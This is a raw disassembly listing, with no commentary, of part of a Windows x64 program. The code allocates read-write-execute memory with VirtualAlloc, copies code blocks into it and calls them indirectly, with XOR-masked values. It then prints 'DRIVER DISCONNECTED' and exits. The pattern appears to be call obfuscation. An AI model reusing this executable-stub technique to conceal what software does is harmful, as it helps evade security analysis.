movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018cf10]
lea rcx, [0x140070770]
mov qword [r15 + rax*8 + 0x1886c0], rcx
mov qword [r15 + rax*8 + 0x18dee0], r9
inc rax
mov qword [0x14018cf10], rax
lea r8, [rsp + 0x30]
lea rdx, [0x140186368]
mov rcx, qword [r14]
call r9
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
lea rcx, [rbp + 0x48]
call fcn.14004cc50
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x48]
call fcn.140048d70
nop
lea rdx, [0x140068460]
lea rcx, [rbp - 0x58]
call fcn.14006d500
mov r14, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
lea r8, [0x14006f890]
mov rax, qword [0x14018eea0]
test rax, rax
je 0x14006d1f9
mov rdx, rbx
nop
cmp rax, r8
je 0x14006d1e8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x18eea0]
test rax, rax
jne 0x14006d1d0
jmp 0x14006d1f9
mov r8, qword [r15 + rdx*8 + 0x18cf20]
test r8, r8
jne 0x14006d2df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x14006f890]
test rax, rax
jne 0x14006d227
mov r8, rbx
jmp 0x14006d2be
mov rax, r9
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14006d230
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018b900]
mov qword [r15 + rax*8 + 0x18eea0], r9
mov qword [r15 + rax*8 + 0x18cf20], r8
inc rax
mov qword [0x14018b900], rax
mov rcx, qword [r14]
call r8
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
mov rdx, qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp - 0x50]
call fcn.14006d500
mov r14, rax
mov eax, 5
mov dword [rsp + 0x30], eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
lea rax, [rbp + 0x158]
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x48], rdi
mov qword [rax], rbx
mov ecx, ebx
mov rax, qword [0x1401886c0]
test rax, rax
je 0x14006d379
mov rdx, rbx
lea r8, [0x140070770]
nop word [rax + rax]
cmp rax, r8
je 0x14006d368
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x1886c0]
test rax, rax
jne 0x14006d350
jmp 0x14006d379
mov r10, qword [r15 + rdx*8 + 0x18dee0]
test r10, r10
jne 0x14006d466
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14006d3a0
mov r10, rbx
jmp 0x14006d43e
lea rax, [0x140070770]
mov rcx, r10
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x14006d3b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14018cf10]
lea rcx, [0x140070770]
mov qword [r15 + rax*8 + 0x1886c0], rcx
mov qword [r15 + rax*8 + 0x18dee0], r10
inc rax
mov qword [0x14018cf10], rax
lea r8, [rsp + 0x30]
lea rdx, [0x14018cf18]
mov rcx, qword [r14]
call r10
nop
xor rdi, r13
lea rax, [rbp + 0x158]
mov qword [rax], rdi
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14004cc60
lea rcx, str._n_DRIVER__DISCONNECTED__
call fcn.1400035c0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3